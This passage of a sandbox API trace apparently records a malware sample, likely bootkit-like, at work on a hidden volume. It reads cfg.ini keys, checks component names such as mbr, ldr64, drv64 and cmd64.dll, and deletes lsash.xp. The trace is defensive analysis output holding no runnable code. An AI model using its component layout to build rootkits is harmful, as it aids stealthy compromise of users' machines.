MemoryDescriptorList=0xfffffa8003baf190) [0123.210] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.210] IdePortDispatch () returned 0x103 [0123.210] KeWaitForMutexObject () returned 0x0 [0123.210] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.210] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.210] KeLeaveCriticalRegion () [0123.210] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.211] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.211] KeEnterCriticalRegion () [0123.211] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.211] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002def000 [0123.211] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.211] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.211] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.211] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.211] IdePortDispatch () returned 0x103 [0123.211] KeWaitForMutexObject () returned 0x0 [0123.211] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.211] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.211] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.211] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.211] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.211] IdePortDispatch () returned 0x103 [0123.211] KeWaitForMutexObject () returned 0x0 [0123.211] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.211] KeLeaveCriticalRegion () [0123.211] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.212] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.212] KeEnterCriticalRegion () [0123.212] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.212] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.212] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.212] KeLeaveCriticalRegion () [0123.212] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.212] KeEnterCriticalRegion () [0123.212] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.212] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.212] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be9ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.212] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.212] KeLeaveCriticalRegion () [0123.212] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.212] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.212] KeEnterCriticalRegion () [0123.212] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.212] ExFreePoolWithTag (P=0xfffffa8003be2e50, Tag=0x0) [0123.212] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.212] KeLeaveCriticalRegion () [0123.212] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.212] ReleaseMutex (hMutex=0xf0) returned 1 [0123.212] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.212] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.212] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.212] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.212] KeEnterCriticalRegion () [0123.212] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.212] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.212] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.212] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.212] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.212] IdePortDispatch () returned 0x103 [0123.212] KeWaitForMutexObject () returned 0x0 [0123.213] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.213] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.213] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.213] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.213] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.213] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.213] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.213] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.213] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.213] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.213] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.213] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.213] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.213] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.213] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.213] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.213] KeLeaveCriticalRegion () [0123.213] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.213] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.213] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.213] KeEnterCriticalRegion () [0123.213] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.213] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.213] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.213] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.213] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.213] IdePortDispatch () returned 0x103 [0123.214] KeWaitForMutexObject () returned 0x0 [0123.214] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.214] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.214] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.214] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.214] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.214] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.214] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.214] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.214] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.214] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.214] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.214] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.214] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.214] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.214] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.214] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.214] KeLeaveCriticalRegion () [0123.214] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.214] ReleaseMutex (hMutex=0x100) returned 1 [0123.214] Sleep (dwMilliseconds=0x2bf20) [0123.220] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ca4a4f0, dwHighDateTime=0x1d24fa4)) [0123.220] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.220] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.220] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.220] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.220] KeEnterCriticalRegion () [0123.220] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.220] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.221] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.221] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.221] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.221] IdePortDispatch () returned 0x103 [0123.221] KeWaitForMutexObject () returned 0x0 [0123.221] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.221] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.221] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.221] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.221] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.221] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9860 [0123.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.221] KeLeaveCriticalRegion () [0123.221] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.221] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.221] KeEnterCriticalRegion () [0123.221] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.221] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.221] KeLeaveCriticalRegion () [0123.221] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.221] KeEnterCriticalRegion () [0123.221] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.221] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.221] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.221] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.221] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.221] IdePortDispatch () returned 0x103 [0123.221] KeWaitForMutexObject () returned 0x0 [0123.221] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.221] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.221] KeLeaveCriticalRegion () [0123.222] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.222] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.222] KeEnterCriticalRegion () [0123.222] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.222] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df2000 [0123.222] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.222] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.222] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.222] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.222] IdePortDispatch () returned 0x103 [0123.222] KeWaitForMutexObject () returned 0x0 [0123.222] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.222] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.222] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.222] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.222] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.222] IdePortDispatch () returned 0x103 [0123.222] KeWaitForMutexObject () returned 0x0 [0123.222] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.222] KeLeaveCriticalRegion () [0123.222] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.223] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.223] KeEnterCriticalRegion () [0123.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.223] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.223] KeLeaveCriticalRegion () [0123.223] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.223] KeEnterCriticalRegion () [0123.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.223] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.223] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be9ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.223] KeLeaveCriticalRegion () [0123.223] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.223] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.223] KeEnterCriticalRegion () [0123.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.223] ExFreePoolWithTag (P=0xfffffa8003be9860, Tag=0x0) [0123.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.223] KeLeaveCriticalRegion () [0123.223] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.223] ReleaseMutex (hMutex=0xf0) returned 1 [0123.223] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.223] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.223] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.223] KeEnterCriticalRegion () [0123.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.223] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.223] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.223] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.223] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.223] IdePortDispatch () returned 0x103 [0123.223] KeWaitForMutexObject () returned 0x0 [0123.224] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.224] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.224] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.224] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.224] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.224] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beacb0 [0123.224] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.224] KeLeaveCriticalRegion () [0123.224] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.224] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.224] KeEnterCriticalRegion () [0123.224] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.224] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.224] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.224] KeLeaveCriticalRegion () [0123.224] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.224] KeEnterCriticalRegion () [0123.224] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.224] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.224] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.224] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.224] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.224] IdePortDispatch () returned 0x103 [0123.224] KeWaitForMutexObject () returned 0x0 [0123.224] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.224] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.224] KeLeaveCriticalRegion () [0123.224] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.224] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.224] KeEnterCriticalRegion () [0123.224] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.224] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df3000 [0123.224] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.224] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.224] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.224] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.225] IdePortDispatch () returned 0x103 [0123.225] KeWaitForMutexObject () returned 0x0 [0123.226] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.226] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.226] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.226] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.226] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.226] IdePortDispatch () returned 0x103 [0123.226] KeWaitForMutexObject () returned 0x0 [0123.226] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.226] KeLeaveCriticalRegion () [0123.226] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.226] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.226] KeEnterCriticalRegion () [0123.226] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.226] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.226] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.226] KeLeaveCriticalRegion () [0123.226] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.226] KeEnterCriticalRegion () [0123.226] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.226] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.227] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bead70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.227] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.227] KeLeaveCriticalRegion () [0123.227] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.227] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.227] KeEnterCriticalRegion () [0123.227] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.227] ExFreePoolWithTag (P=0xfffffa8003beacb0, Tag=0x0) [0123.227] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.227] KeLeaveCriticalRegion () [0123.227] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.227] ReleaseMutex (hMutex=0xf0) returned 1 [0123.227] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.227] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", 